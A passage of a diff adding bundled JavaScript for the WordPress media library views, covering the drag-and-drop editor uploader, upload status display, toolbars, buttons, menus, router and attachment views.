+			this.localDrag = event.type === 'dragstart';
+
+			if ( event.type === 'drop' ) {
+				this.containerDragleave();
+			}
+		}, this ) );
+
+		this.initialized = true;
+		return this;
+	},
+
+	/**
+	 * Check browser support for drag'n'drop.
+	 *
+	 * @return Boolean
+	 */
+	browserSupport: function() {
+		var supports = false, div = document.createElement('div');
+
+		supports = ( 'draggable' in div ) || ( 'ondragstart' in div && 'ondrop' in div );
+		supports = supports && !! ( window.File && window.FileList && window.FileReader );
+		return supports;
+	},
+
+	isDraggingFile: function( event ) {
+		if ( this.draggingFile !== null ) {
+			return this.draggingFile;
+		}
+
+		if ( _.isUndefined( event.originalEvent ) || _.isUndefined( event.originalEvent.dataTransfer ) ) {
+			return false;
+		}
+
+		this.draggingFile = _.indexOf( event.originalEvent.dataTransfer.types, 'Files' ) > -1 &&
+			_.indexOf( event.originalEvent.dataTransfer.types, 'text/plain' ) === -1;
+
+		return this.draggingFile;
+	},
+
+	refresh: function( e ) {
+		var dropzone_id;
+		for ( dropzone_id in this.dropzones ) {
+			// Hide the dropzones only if dragging has left the screen.
+			this.dropzones[ dropzone_id ].toggle( this.overContainer || this.overDropzone );
+		}
+
+		if ( ! _.isUndefined( e ) ) {
+			$( e.target ).closest( '.uploader-editor' ).toggleClass( 'droppable', this.overDropzone );
+		}
+
+		if ( ! this.overContainer && ! this.overDropzone ) {
+			this.draggingFile = null;
+		}
+
+		return this;
+	},
+
+	render: function() {
+		if ( ! this.initialized ) {
+			return this;
+		}
+
+		View.prototype.render.apply( this, arguments );
+		$( '.wp-editor-wrap' ).each( _.bind( this.attach, this ) );
+		return this;
+	},
+
+	attach: function( index, editor ) {
+		// Attach a dropzone to an editor.
+		var dropzone = this.$el.clone();
+		this.dropzones.push( dropzone );
+		$( editor ).append( dropzone );
+		return this;
+	},
+
+	/**
+	 * When a file is dropped on the editor uploader, open up an editor media workflow
+	 * and upload the file immediately.
+	 *
+	 * @param  {jQuery.Event} event The 'drop' event.
+	 */
+	drop: function( event ) {
+		var $wrap, uploadView;
+
+		this.containerDragleave( event );
+		this.dropzoneDragleave( event );
+
+		this.files = event.originalEvent.dataTransfer.files;
+		if ( this.files.length < 1 ) {
+			return;
+		}
+
+		// Set the active editor to the drop target.
+		$wrap = $( event.target ).parents( '.wp-editor-wrap' );
+		if ( $wrap.length > 0 && $wrap[0].id ) {
+			window.wpActiveEditor = $wrap[0].id.slice( 3, -5 );
+		}
+
+		if ( ! this.workflow ) {
+			this.workflow = wp.media.editor.open( window.wpActiveEditor, {
+				frame:    'post',
+				state:    'insert',
+				title:    l10n.addMedia,
+				multiple: true
+			});
+
+			uploadView = this.workflow.uploader;
+
+			if ( uploadView.uploader && uploadView.uploader.ready ) {
+				this.addFiles.apply( this );
+			} else {
+				this.workflow.on( 'uploader:ready', this.addFiles, this );
+			}
+		} else {
+			this.workflow.state().reset();
+			this.addFiles.apply( this );
+			this.workflow.open();
+		}
+
+		return false;
+	},
+
+	/**
+	 * Add the files to the uploader.
+	 */
+	addFiles: function() {
+		if ( this.files.length ) {
+			this.workflow.uploader.uploader.uploader.addFile( _.toArray( this.files ) );
+			this.files = [];
+		}
+		return this;
+	},
+
+	containerDragover: function( event ) {
+		if ( this.localDrag || ! this.isDraggingFile( event ) ) {
+			return;
+		}
+
+		this.overContainer = true;
+		this.refresh();
+	},
+
+	containerDragleave: function() {
+		this.overContainer = false;
+
+		// Throttle dragleave because it's called when bouncing from some elements to others.
+		_.delay( _.bind( this.refresh, this ), 50 );
+	},
+
+	dropzoneDragover: function( event ) {
+		if ( this.localDrag || ! this.isDraggingFile( event ) ) {
+			return;
+		}
+
+		this.overDropzone = true;
+		this.refresh( event );
+		return false;
+	},
+
+	dropzoneDragleave: function( e ) {
+		this.overDropzone = false;
+		_.delay( _.bind( this.refresh, this, e ), 50 );
+	},
+
+	click: function( e ) {
+		// In the rare case where the dropzone gets stuck, hide it on click.
+		this.containerDragleave( e );
+		this.dropzoneDragleave( e );
+		this.localDrag = false;
+	}
+});
+
+module.exports = EditorUploader;
+
+
+/***/ }),
+/* 55 */
+/***/ (function(module, exports) {
+
+var View = wp.media.View,
+	UploaderInline;
+
+/**
+ * wp.media.view.UploaderInline
+ *
+ * The inline uploader that shows up in the 'Upload Files' tab.
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+UploaderInline = View.extend(/** @lends wp.media.view.UploaderInline.prototype */{
+	tagName:   'div',
+	className: 'uploader-inline',
+	template:  wp.template('uploader-inline'),
+
+	events: {
+		'click .close': 'hide'
+	},
+
+	initialize: function() {
+		_.defaults( this.options, {
+			message: '',
+			status:  true,
+			canClose: false
+		});
+
+		if ( ! this.options.$browser && this.controller.uploader ) {
+			this.options.$browser = this.controller.uploader.$browser;
+		}
+
+		if ( _.isUndefined( this.options.postId ) ) {
+			this.options.postId = wp.media.view.settings.post.id;
+		}
+
+		if ( this.options.status ) {
+			this.views.set( '.upload-inline-status', new wp.media.view.UploaderStatus({
+				controller: this.controller
+			}) );
+		}
+	},
+
+	prepare: function() {
+		var suggestedWidth = this.controller.state().get('suggestedWidth'),
+			suggestedHeight = this.controller.state().get('suggestedHeight'),
+			data = {};
+
+		data.message = this.options.message;
+		data.canClose = this.options.canClose;
+
+		if ( suggestedWidth && suggestedHeight ) {
+			data.suggestedWidth = suggestedWidth;
+			data.suggestedHeight = suggestedHeight;
+		}
+
+		return data;
+	},
+	/**
+	 * @returns {wp.media.view.UploaderInline} Returns itself to allow chaining
+	 */
+	dispose: function() {
+		if ( this.disposing ) {
+			/**
+			 * call 'dispose' directly on the parent class
+			 */
+			return View.prototype.dispose.apply( this, arguments );
+		}
+
+		// Run remove on `dispose`, so we can be sure to refresh the
+		// uploader with a view-less DOM. Track whether we're disposing
+		// so we don't trigger an infinite loop.
+		this.disposing = true;
+		return this.remove();
+	},
+	/**
+	 * @returns {wp.media.view.UploaderInline} Returns itself to allow chaining
+	 */
+	remove: function() {
+		/**
+		 * call 'remove' directly on the parent class
+		 */
+		var result = View.prototype.remove.apply( this, arguments );
+
+		_.defer( _.bind( this.refresh, this ) );
+		return result;
+	},
+
+	refresh: function() {
+		var uploader = this.controller.uploader;
+
+		if ( uploader ) {
+			uploader.refresh();
+		}
+	},
+	/**
+	 * @returns {wp.media.view.UploaderInline}
+	 */
+	ready: function() {
+		var $browser = this.options.$browser,
+			$placeholder;
+
+		if ( this.controller.uploader ) {
+			$placeholder = this.$('.browser');
+
+			// Check if we've already replaced the placeholder.
+			if ( $placeholder[0] === $browser[0] ) {
+				return;
+			}
+
+			$browser.detach().text( $placeholder.text() );
+			$browser[0].className = $placeholder[0].className;
+			$placeholder.replaceWith( $browser.show() );
+		}
+
+		this.refresh();
+		return this;
+	},
+	show: function() {
+		this.$el.removeClass( 'hidden' );
+		if ( this.controller.$uploaderToggler && this.controller.$uploaderToggler.length ) {
+			this.controller.$uploaderToggler.attr( 'aria-expanded', 'true' );
+		}
+	},
+	hide: function() {
+		this.$el.addClass( 'hidden' );
+		if ( this.controller.$uploaderToggler && this.controller.$uploaderToggler.length ) {
+			this.controller.$uploaderToggler
+				.attr( 'aria-expanded', 'false' )
+				// Move focus back to the toggle button when closing the uploader.
+				.focus();
+		}
+	}
+
+});
+
+module.exports = UploaderInline;
+
+
+/***/ }),
+/* 56 */
+/***/ (function(module, exports) {
+
+var View = wp.media.View,
+	UploaderStatus;
+
+/**
+ * wp.media.view.UploaderStatus
+ *
+ * An uploader status for on-going uploads.
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+UploaderStatus = View.extend(/** @lends wp.media.view.UploaderStatus.prototype */{
+	className: 'media-uploader-status',
+	template:  wp.template('uploader-status'),
+
+	events: {
+		'click .upload-dismiss-errors': 'dismiss'
+	},
+
+	initialize: function() {
+		this.queue = wp.Uploader.queue;
+		this.queue.on( 'add remove reset', this.visibility, this );
+		this.queue.on( 'add remove reset change:percent', this.progress, this );
+		this.queue.on( 'add remove reset change:uploading', this.info, this );
+
+		this.errors = wp.Uploader.errors;
+		this.errors.reset();
+		this.errors.on( 'add remove reset', this.visibility, this );
+		this.errors.on( 'add', this.error, this );
+	},
+	/**
+	 * @returns {wp.media.view.UploaderStatus}
+	 */
+	dispose: function() {
+		wp.Uploader.queue.off( null, null, this );
+		/**
+		 * call 'dispose' directly on the parent class
+		 */
+		View.prototype.dispose.apply( this, arguments );
+		return this;
+	},
+
+	visibility: function() {
+		this.$el.toggleClass( 'uploading', !! this.queue.length );
+		this.$el.toggleClass( 'errors', !! this.errors.length );
+		this.$el.toggle( !! this.queue.length || !! this.errors.length );
+	},
+
+	ready: function() {
+		_.each({
+			'$bar':      '.media-progress-bar div',
+			'$index':    '.upload-index',
+			'$total':    '.upload-total',
+			'$filename': '.upload-filename'
+		}, function( selector, key ) {
+			this[ key ] = this.$( selector );
+		}, this );
+
+		this.visibility();
+		this.progress();
+		this.info();
+	},
+
+	progress: function() {
+		var queue = this.queue,
+			$bar = this.$bar;
+
+		if ( ! $bar || ! queue.length ) {
+			return;
+		}
+
+		$bar.width( ( queue.reduce( function( memo, attachment ) {
+			if ( ! attachment.get('uploading') ) {
+				return memo + 100;
+			}
+
+			var percent = attachment.get('percent');
+			return memo + ( _.isNumber( percent ) ? percent : 100 );
+		}, 0 ) / queue.length ) + '%' );
+	},
+
+	info: function() {
+		var queue = this.queue,
+			index = 0, active;
+
+		if ( ! queue.length ) {
+			return;
+		}
+
+		active = this.queue.find( function( attachment, i ) {
+			index = i;
+			return attachment.get('uploading');
+		});
+
+		this.$index.text( index + 1 );
+		this.$total.text( queue.length );
+		this.$filename.html( active ? this.filename( active.get('filename') ) : '' );
+	},
+	/**
+	 * @param {string} filename
+	 * @returns {string}
+	 */
+	filename: function( filename ) {
+		return _.escape( filename );
+	},
+	/**
+	 * @param {Backbone.Model} error
+	 */
+	error: function( error ) {
+		this.views.add( '.upload-errors', new wp.media.view.UploaderStatusError({
+			filename: this.filename( error.get('file').name ),
+			message:  error.get('message')
+		}), { at: 0 });
+	},
+
+	/**
+	 * @param {Object} event
+	 */
+	dismiss: function( event ) {
+		var errors = this.views.get('.upload-errors');
+
+		event.preventDefault();
+
+		if ( errors ) {
+			_.invoke( errors, 'remove' );
+		}
+		wp.Uploader.errors.reset();
+	}
+});
+
+module.exports = UploaderStatus;
+
+
+/***/ }),
+/* 57 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.view.UploaderStatusError
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var UploaderStatusError = wp.media.View.extend(/** @lends wp.media.view.UploaderStatusError.prototype */{
+	className: 'upload-error',
+	template:  wp.template('uploader-status-error')
+});
+
+module.exports = UploaderStatusError;
+
+
+/***/ }),
+/* 58 */
+/***/ (function(module, exports) {
+
+var View = wp.media.View,
+	Toolbar;
+
+/**
+ * wp.media.view.Toolbar
+ *
+ * A toolbar which consists of a primary and a secondary section. Each sections
+ * can be filled with views.
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Toolbar = View.extend(/** @lends wp.media.view.Toolbar.prototype */{
+	tagName:   'div',
+	className: 'media-toolbar',
+
+	initialize: function() {
+		var state = this.controller.state(),
+			selection = this.selection = state.get('selection'),
+			library = this.library = state.get('library');
+
+		this._views = {};
+
+		// The toolbar is composed of two `PriorityList` views.
+		this.primary   = new wp.media.view.PriorityList();
+		this.secondary = new wp.media.view.PriorityList();
+		this.primary.$el.addClass('media-toolbar-primary search-form');
+		this.secondary.$el.addClass('media-toolbar-secondary');
+
+		this.views.set([ this.secondary, this.primary ]);
+
+		if ( this.options.items ) {
+			this.set( this.options.items, { silent: true });
+		}
+
+		if ( ! this.options.silent ) {
+			this.render();
+		}
+
+		if ( selection ) {
+			selection.on( 'add remove reset', this.refresh, this );
+		}
+
+		if ( library ) {
+			library.on( 'add remove reset', this.refresh, this );
+		}
+	},
+	/**
+	 * @returns {wp.media.view.Toolbar} Returns itsef to allow chaining
+	 */
+	dispose: function() {
+		if ( this.selection ) {
+			this.selection.off( null, null, this );
+		}
+
+		if ( this.library ) {
+			this.library.off( null, null, this );
+		}
+		/**
+		 * call 'dispose' directly on the parent class
+		 */
+		return View.prototype.dispose.apply( this, arguments );
+	},
+
+	ready: function() {
+		this.refresh();
+	},
+
+	/**
+	 * @param {string} id
+	 * @param {Backbone.View|Object} view
+	 * @param {Object} [options={}]
+	 * @returns {wp.media.view.Toolbar} Returns itself to allow chaining
+	 */
+	set: function( id, view, options ) {
+		var list;
+		options = options || {};
+
+		// Accept an object with an `id` : `view` mapping.
+		if ( _.isObject( id ) ) {
+			_.each( id, function( view, id ) {
+				this.set( id, view, { silent: true });
+			}, this );
+
+		} else {
+			if ( ! ( view instanceof Backbone.View ) ) {
+				view.classes = [ 'media-button-' + id ].concat( view.classes || [] );
+				view = new wp.media.view.Button( view ).render();
+			}
+
+			view.controller = view.controller || this.controller;
+
+			this._views[ id ] = view;
+
+			list = view.options.priority < 0 ? 'secondary' : 'primary';
+			this[ list ].set( id, view, options );
+		}
+
+		if ( ! options.silent ) {
+			this.refresh();
+		}
+
+		return this;
+	},
+	/**
+	 * @param {string} id
+	 * @returns {wp.media.view.Button}
+	 */
+	get: function( id ) {
+		return this._views[ id ];
+	},
+	/**
+	 * @param {string} id
+	 * @param {Object} options
+	 * @returns {wp.media.view.Toolbar} Returns itself to allow chaining
+	 */
+	unset: function( id, options ) {
+		delete this._views[ id ];
+		this.primary.unset( id, options );
+		this.secondary.unset( id, options );
+
+		if ( ! options || ! options.silent ) {
+			this.refresh();
+		}
+		return this;
+	},
+
+	refresh: function() {
+		var state = this.controller.state(),
+			library = state.get('library'),
+			selection = state.get('selection');
+
+		_.each( this._views, function( button ) {
+			if ( ! button.model || ! button.options || ! button.options.requires ) {
+				return;
+			}
+
+			var requires = button.options.requires,
+				disabled = false;
+
+			// Prevent insertion of attachments if any of them are still uploading
+			if ( selection && selection.models ) {
+				disabled = _.some( selection.models, function( attachment ) {
+					return attachment.get('uploading') === true;
+				});
+			}
+
+			if ( requires.selection && selection && ! selection.length ) {
+				disabled = true;
+			} else if ( requires.library && library && ! library.length ) {
+				disabled = true;
+			}
+			button.model.set( 'disabled', disabled );
+		});
+	}
+});
+
+module.exports = Toolbar;
+
+
+/***/ }),
+/* 59 */
+/***/ (function(module, exports) {
+
+var Toolbar = wp.media.view.Toolbar,
+	l10n = wp.media.view.l10n,
+	Select;
+
+/**
+ * wp.media.view.Toolbar.Select
+ *
+ * @memberOf wp.media.view.Toolbar
+ *
+ * @class
+ * @augments wp.media.view.Toolbar
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Select = Toolbar.extend(/** @lends wp.media.view.Toolbar.Select.prototype */{
+	initialize: function() {
+		var options = this.options;
+
+		_.bindAll( this, 'clickSelect' );
+
+		_.defaults( options, {
+			event: 'select',
+			state: false,
+			reset: true,
+			close: true,
+			text:  l10n.select,
+
+			// Does the button rely on the selection?
+			requires: {
+				selection: true
+			}
+		});
+
+		options.items = _.defaults( options.items || {}, {
+			select: {
+				style:    'primary',
+				text:     options.text,
+				priority: 80,
+				click:    this.clickSelect,
+				requires: options.requires
+			}
+		});
+		// Call 'initialize' directly on the parent class.
+		Toolbar.prototype.initialize.apply( this, arguments );
+	},
+
+	clickSelect: function() {
+		var options = this.options,
+			controller = this.controller;
+
+		if ( options.close ) {
+			controller.close();
+		}
+
+		if ( options.event ) {
+			controller.state().trigger( options.event );
+		}
+
+		if ( options.state ) {
+			controller.setState( options.state );
+		}
+
+		if ( options.reset ) {
+			controller.reset();
+		}
+	}
+});
+
+module.exports = Select;
+
+
+/***/ }),
+/* 60 */
+/***/ (function(module, exports) {
+
+var Select = wp.media.view.Toolbar.Select,
+	l10n = wp.media.view.l10n,
+	Embed;
+
+/**
+ * wp.media.view.Toolbar.Embed
+ *
+ * @memberOf wp.media.view.Toolbar
+ *
+ * @class
+ * @augments wp.media.view.Toolbar.Select
+ * @augments wp.media.view.Toolbar
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Embed = Select.extend(/** @lends wp.media.view.Toolbar.Embed.prototype */{
+	initialize: function() {
+		_.defaults( this.options, {
+			text: l10n.insertIntoPost,
+			requires: false
+		});
+		// Call 'initialize' directly on the parent class.
+		Select.prototype.initialize.apply( this, arguments );
+	},
+
+	refresh: function() {
+		var url = this.controller.state().props.get('url');
+		this.get('select').model.set( 'disabled', ! url || url === 'http://' );
+		/**
+		 * call 'refresh' directly on the parent class
+		 */
+		Select.prototype.refresh.apply( this, arguments );
+	}
+});
+
+module.exports = Embed;
+
+
+/***/ }),
+/* 61 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.view.Button
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var Button = wp.media.View.extend(/** @lends wp.media.view.Button.prototype */{
+	tagName:    'button',
+	className:  'media-button',
+	attributes: { type: 'button' },
+
+	events: {
+		'click': 'click'
+	},
+
+	defaults: {
+		text:     '',
+		style:    '',
+		size:     'large',
+		disabled: false
+	},
+
+	initialize: function() {
+		/**
+		 * Create a model with the provided `defaults`.
+		 *
+		 * @member {Backbone.Model}
+		 */
+		this.model = new Backbone.Model( this.defaults );
+
+		// If any of the `options` have a key from `defaults`, apply its
+		// value to the `model` and remove it from the `options object.
+		_.each( this.defaults, function( def, key ) {
+			var value = this.options[ key ];
+			if ( _.isUndefined( value ) ) {
+				return;
+			}
+
+			this.model.set( key, value );
+			delete this.options[ key ];
+		}, this );
+
+		this.listenTo( this.model, 'change', this.render );
+	},
+	/**
+	 * @returns {wp.media.view.Button} Returns itself to allow chaining
+	 */
+	render: function() {
+		var classes = [ 'button', this.className ],
+			model = this.model.toJSON();
+
+		if ( model.style ) {
+			classes.push( 'button-' + model.style );
+		}
+
+		if ( model.size ) {
+			classes.push( 'button-' + model.size );
+		}
+
+		classes = _.uniq( classes.concat( this.options.classes ) );
+		this.el.className = classes.join(' ');
+
+		this.$el.attr( 'disabled', model.disabled );
+		this.$el.text( this.model.get('text') );
+
+		return this;
+	},
+	/**
+	 * @param {Object} event
+	 */
+	click: function( event ) {
+		if ( '#' === this.attributes.href ) {
+			event.preventDefault();
+		}
+
+		if ( this.options.click && ! this.model.get('disabled') ) {
+			this.options.click.apply( this, arguments );
+		}
+	}
+});
+
+module.exports = Button;
+
+
+/***/ }),
+/* 62 */
+/***/ (function(module, exports) {
+
+var $ = Backbone.$,
+	ButtonGroup;
+
+/**
+ * wp.media.view.ButtonGroup
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+ButtonGroup = wp.media.View.extend(/** @lends wp.media.view.ButtonGroup.prototype */{
+	tagName:   'div',
+	className: 'button-group button-large media-button-group',
+
+	initialize: function() {
+		/**
+		 * @member {wp.media.view.Button[]}
+		 */
+		this.buttons = _.map( this.options.buttons || [], function( button ) {
+			if ( button instanceof Backbone.View ) {
+				return button;
+			} else {
+				return new wp.media.view.Button( button ).render();
+			}
+		});
+
+		delete this.options.buttons;
+
+		if ( this.options.classes ) {
+			this.$el.addClass( this.options.classes );
+		}
+	},
+
+	/**
+	 * @returns {wp.media.view.ButtonGroup}
+	 */
+	render: function() {
+		this.$el.html( $( _.pluck( this.buttons, 'el' ) ).detach() );
+		return this;
+	}
+});
+
+module.exports = ButtonGroup;
+
+
+/***/ }),
+/* 63 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.view.PriorityList
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var PriorityList = wp.media.View.extend(/** @lends wp.media.view.PriorityList.prototype */{
+	tagName:   'div',
+
+	initialize: function() {
+		this._views = {};
+
+		this.set( _.extend( {}, this._views, this.options.views ), { silent: true });
+		delete this.options.views;
+
+		if ( ! this.options.silent ) {
+			this.render();
+		}
+	},
+	/**
+	 * @param {string} id
+	 * @param {wp.media.View|Object} view
+	 * @param {Object} options
+	 * @returns {wp.media.view.PriorityList} Returns itself to allow chaining
+	 */
+	set: function( id, view, options ) {
+		var priority, views, index;
+
+		options = options || {};
+
+		// Accept an object with an `id` : `view` mapping.
+		if ( _.isObject( id ) ) {
+			_.each( id, function( view, id ) {
+				this.set( id, view );
+			}, this );
+			return this;
+		}
+
+		if ( ! (view instanceof Backbone.View) ) {
+			view = this.toView( view, id, options );
+		}
+		view.controller = view.controller || this.controller;
+
+		this.unset( id );
+
+		priority = view.options.priority || 10;
+		views = this.views.get() || [];
+
+		_.find( views, function( existing, i ) {
+			if ( existing.options.priority > priority ) {
+				index = i;
+				return true;
+			}
+		});
+
+		this._views[ id ] = view;
+		this.views.add( view, {
+			at: _.isNumber( index ) ? index : views.length || 0
+		});
+
+		return this;
+	},
+	/**
+	 * @param {string} id
+	 * @returns {wp.media.View}
+	 */
+	get: function( id ) {
+		return this._views[ id ];
+	},
+	/**
+	 * @param {string} id
+	 * @returns {wp.media.view.PriorityList}
+	 */
+	unset: function( id ) {
+		var view = this.get( id );
+
+		if ( view ) {
+			view.remove();
+		}
+
+		delete this._views[ id ];
+		return this;
+	},
+	/**
+	 * @param {Object} options
+	 * @returns {wp.media.View}
+	 */
+	toView: function( options ) {
+		return new wp.media.View( options );
+	}
+});
+
+module.exports = PriorityList;
+
+
+/***/ }),
+/* 64 */
+/***/ (function(module, exports) {
+
+var $ = jQuery,
+	MenuItem;
+
+/**
+ * wp.media.view.MenuItem
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+MenuItem = wp.media.View.extend(/** @lends wp.media.view.MenuItem.prototype */{
+	tagName:   'a',
+	className: 'media-menu-item',
+
+	attributes: {
+		href: '#'
+	},
+
+	events: {
+		'click': '_click'
+	},
+	/**
+	 * @param {Object} event
+	 */
+	_click: function( event ) {
+		var clickOverride = this.options.click;
+
+		if ( event ) {
+			event.preventDefault();
+		}
+
+		if ( clickOverride ) {
+			clickOverride.call( this );
+		} else {
+			this.click();
+		}
+
+		// When selecting a tab along the left side,
+		// focus should be transferred into the main panel
+		if ( ! wp.media.isTouchDevice ) {
+			$('.media-frame-content input').first().focus();
+		}
+	},
+
+	click: function() {
+		var state = this.options.state;
+
+		if ( state ) {
+			this.controller.setState( state );
+			this.views.parent.$el.removeClass( 'visible' ); // TODO: or hide on any click, see below
+		}
+	},
+	/**
+	 * @returns {wp.media.view.MenuItem} returns itself to allow chaining
+	 */
+	render: function() {
+		var options = this.options;
+
+		if ( options.text ) {
+			this.$el.text( options.text );
+		} else if ( options.html ) {
+			this.$el.html( options.html );
+		}
+
+		return this;
+	}
+});
+
+module.exports = MenuItem;
+
+
+/***/ }),
+/* 65 */
+/***/ (function(module, exports) {
+
+var MenuItem = wp.media.view.MenuItem,
+	PriorityList = wp.media.view.PriorityList,
+	Menu;
+
+/**
+ * wp.media.view.Menu
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.PriorityList
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Menu = PriorityList.extend(/** @lends wp.media.view.Menu.prototype */{
+	tagName:   'div',
+	className: 'media-menu',
+	property:  'state',
+	ItemView:  MenuItem,
+	region:    'menu',
+
+	/* TODO: alternatively hide on any click anywhere
+	events: {
+		'click': 'click'
+	},
+
+	click: function() {
+		this.$el.removeClass( 'visible' );
+	},
+	*/
+
+	/**
+	 * @param {Object} options
+	 * @param {string} id
+	 * @returns {wp.media.View}
+	 */
+	toView: function( options, id ) {
+		options = options || {};
+		options[ this.property ] = options[ this.property ] || id;
+		return new this.ItemView( options ).render();
+	},
+
+	ready: function() {
+		/**
+		 * call 'ready' directly on the parent class
+		 */
+		PriorityList.prototype.ready.apply( this, arguments );
+		this.visibility();
+	},
+
+	set: function() {
+		/**
+		 * call 'set' directly on the parent class
+		 */
+		PriorityList.prototype.set.apply( this, arguments );
+		this.visibility();
+	},
+
+	unset: function() {
+		/**
+		 * call 'unset' directly on the parent class
+		 */
+		PriorityList.prototype.unset.apply( this, arguments );
+		this.visibility();
+	},
+
+	visibility: function() {
+		var region = this.region,
+			view = this.controller[ region ].get(),
+			views = this.views.get(),
+			hide = ! views || views.length < 2;
+
+		if ( this === view ) {
+			this.controller.$el.toggleClass( 'hide-' + region, hide );
+		}
+	},
+	/**
+	 * @param {string} id
+	 */
+	select: function( id ) {
+		var view = this.get( id );
+
+		if ( ! view ) {
+			return;
+		}
+
+		this.deselect();
+		view.$el.addClass('active');
+	},
+
+	deselect: function() {
+		this.$el.children().removeClass('active');
+	},
+
+	hide: function( id ) {
+		var view = this.get( id );
+
+		if ( ! view ) {
+			return;
+		}
+
+		view.$el.addClass('hidden');
+	},
+
+	show: function( id ) {
+		var view = this.get( id );
+
+		if ( ! view ) {
+			return;
+		}
+
+		view.$el.removeClass('hidden');
+	}
+});
+
+module.exports = Menu;
+
+
+/***/ }),
+/* 66 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.view.RouterItem
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.MenuItem
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var RouterItem = wp.media.view.MenuItem.extend(/** @lends wp.media.view.RouterItem.prototype */{
+	/**
+	 * On click handler to activate the content region's corresponding mode.
+	 */
+	click: function() {
+		var contentMode = this.options.contentMode;
+		if ( contentMode ) {
+			this.controller.content.mode( contentMode );
+		}
+	}
+});
+
+module.exports = RouterItem;
+
+
+/***/ }),
+/* 67 */
+/***/ (function(module, exports) {
+
+var Menu = wp.media.view.Menu,
+	Router;
+
+/**
+ * wp.media.view.Router
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.Menu
+ * @augments wp.media.view.PriorityList
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Router = Menu.extend(/** @lends wp.media.view.Router.prototype */{
+	tagName:   'div',
+	className: 'media-router',
+	property:  'contentMode',
+	ItemView:  wp.media.view.RouterItem,
+	region:    'router',
+
+	initialize: function() {
+		this.controller.on( 'content:render', this.update, this );
+		// Call 'initialize' directly on the parent class.
+		Menu.prototype.initialize.apply( this, arguments );
+	},
+
+	update: function() {
+		var mode = this.controller.content.mode();
+		if ( mode ) {
+			this.select( mode );
+		}
+	}
+});
+
+module.exports = Router;
+
+
+/***/ }),
+/* 68 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.view.Sidebar
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.PriorityList
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var Sidebar = wp.media.view.PriorityList.extend(/** @lends wp.media.view.Sidebar.prototype */{
+	className: 'media-sidebar'
+});
+
+module.exports = Sidebar;
+
+
+/***/ }),
+/* 69 */
+/***/ (function(module, exports) {
+
+var View = wp.media.View,
+	$ = jQuery,
+	Attachment;
+
+/**
+ * wp.media.view.Attachment
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Attachment = View.extend(/** @lends wp.media.view.Attachment.prototype */{
+	tagName:   'li',
+	className: 'attachment',
+	template:  wp.template('attachment'),
+
+	attributes: function() {
+		return {
+			'tabIndex':     0,
+			'role':         'checkbox',
+			'aria-label':   this.model.get( 'title' ),
+			'aria-checked': false,
+			'data-id':      this.model.get( 'id' )
+		};
+	},
+
+	events: {
+		'click':                          'toggleSelectionHandler',
+		'change [data-setting]':          'updateSetting',
+		'change [data-setting] input':    'updateSetting',
+		'change [data-setting] select':   'updateSetting',
+		'change [data-setting] textarea': 'updateSetting',
+		'click .attachment-close':        'removeFromLibrary',
+		'click .check':                   'checkClickHandler',
+		'keydown':                        'toggleSelectionHandler'
+	},
+
+	buttons: {},
+
+	initialize: function() {
+		var selection = this.options.selection,
+			options = _.defaults( this.options, {
+				rerenderOnModelChange: true
+			} );
+
+		if ( options.rerenderOnModelChange ) {
+			this.listenTo( this.model, 'change', this.render );
+		} else {
+			this.listenTo( this.model, 'change:percent', this.progress );
+		}
+		this.listenTo( this.model, 'change:title', this._syncTitle );
+		this.listenTo( this.model, 'change:caption', this._syncCaption );
+		this.listenTo( this.model, 'change:artist', this._syncArtist );
+		this.listenTo( this.model, 'change:album', this._syncAlbum );
+
+		// Update the selection.
+		this.listenTo( this.model, 'add', this.select );
+		this.listenTo( this.model, 'remove', this.deselect );
+		if ( selection ) {
+			selection.on( 'reset', this.updateSelect, this );
+			// Update the model's details view.
+			this.listenTo( this.model, 'selection:single selection:unsingle', this.details );
+			this.details( this.model, this.controller.state().get('selection') );
+		}
+
+		this.listenTo( this.controller, 'attachment:compat:waiting attachment:compat:ready', this.updateSave );
+	},
+	/**
+	 * @returns {wp.media.view.Attachment} Returns itself to allow chaining
+	 */
+	dispose: function() {
+		var selection = this.options.selection;
+
+		// Make sure all settings are saved before removing the view.
+		this.updateAll();
+
+		if ( selection ) {
+			selection.off( null, null, this );
+		}
+		/**
